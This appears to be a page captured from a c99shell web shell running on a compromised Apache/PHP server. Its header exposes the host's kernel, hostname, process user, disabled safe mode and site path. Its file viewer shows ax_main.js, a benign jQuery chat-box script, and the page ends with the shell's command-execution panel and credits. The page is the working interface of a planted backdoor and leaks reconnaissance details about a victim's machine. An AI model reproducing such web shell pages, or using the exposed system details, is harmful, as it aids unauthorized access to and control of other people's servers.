Software: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g. PHP/5.2.4-2ubuntu5.12 uname -a: Linux forum.circlefusion.com 2.6.24-19-server #1 SMP Wed Jun 18 15:18:00 UTC 2008 i686 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /www/test.axkickboxing.com/public_html/js/ drwxrwxr-x |
Viewing file: ax_main.js (3.14 KB) -rwxrwxr-x Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | $(document).ready(function() { if ($(window).width() < 990) { $('body').prepend('<div id="smallScreenMessage"><h5>NOTICE:</h5>This website is best viewed at 1024x768 or higher.</div>'); } $("#newMessageJavascript").hide(); $("#newMessageForm").show(); $("#newMessageForm input[name='last_name']").val('something'); var chatButton = $("#chatButton"); var chatBox = $("#chatBox"); var chatCount = $("#chatCount"); $("#chatButton").css('border','1px solid red'); $('#chatButton').css('background-color','red'); $("#chatButton").width('660px'); // Hook up menu root click event. chatButton.attr("href","javascript:void(0)") .click( function() { // Toggle the menu display. chatBox.toggle(); if (chatBox.is(":visible")) { $.cookie('chatBoxOpen', 't'); } else { $.cookie('chatBoxOpen', 'f'); } //chatCount.toggle(); // Blur the link to remove focus. chatButton.blur(); // Cancel event (and its bubbling). return( false ); }); if ($.cookie('chatBoxOpen') == 't') { chatButton.trigger('click'); } //place scroll at the bottom when first loaded $("#chatBoxDiscussion").scrollTop($("#chatBoxDiscussion")[0].scrollHeight); //$("#chatBoxDiscussion").attr("scrollTop", $("#chatBoxDiscussion").attr("scrollHeight")); //place scroll at the bottom when first loaded //$("#chatBoxDiscussion").scrollTop($("#chatBoxDiscussion").scrollHeight); //$("#chatBoxDiscussion").attr("scrollTop", $("#chatBoxDiscussion").attr("scrollHeight")); //Load the chatlog function loadLog(){ var oldscrollHeight = $("#chatBoxDiscussion").attr("scrollHeight") - 20; //Scroll height before the request $.ajax({ url: "chatlog.html", cache: false, success: function(html){ $("#chatBoxDiscussion").html(html); //Insert chat log into the #chatbox div //Auto-scroll var newscrollHeight = $("#chatBoxDiscussion").attr("scrollHeight") - 20; //Scroll height after the request if(newscrollHeight > oldscrollHeight){ $("#chatBoxDiscussion").animate({ scrollTop: newscrollHeight }, 'normal'); //Autoscroll to bottom of div } } }); } setInterval (loadLog, 2500); //Reload file every 2500 ms or x ms if you wish to change the second parameter //Chat input $("#submitmsg").click(function(){ var clientmsg = $("#usermsg").val(); $.post("chatpost.php", {text: clientmsg}); $("#usermsg").attr("value", ""); return false; }); // Hook up a click handler on the document so that // we can hide the menu if it is not the target of // the mouse click. $( document ).click(function( event ){ // Check to see if this came from the menu. if ( chatBox.is( ":visible" ) && !$( event.target ).closest( "#chatBox" ).size() ){ // The click came outside the menu, so // close the menu. chatBox.hide(); } } ); }); |
:: Command execute :: | |
--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0047 ]-- |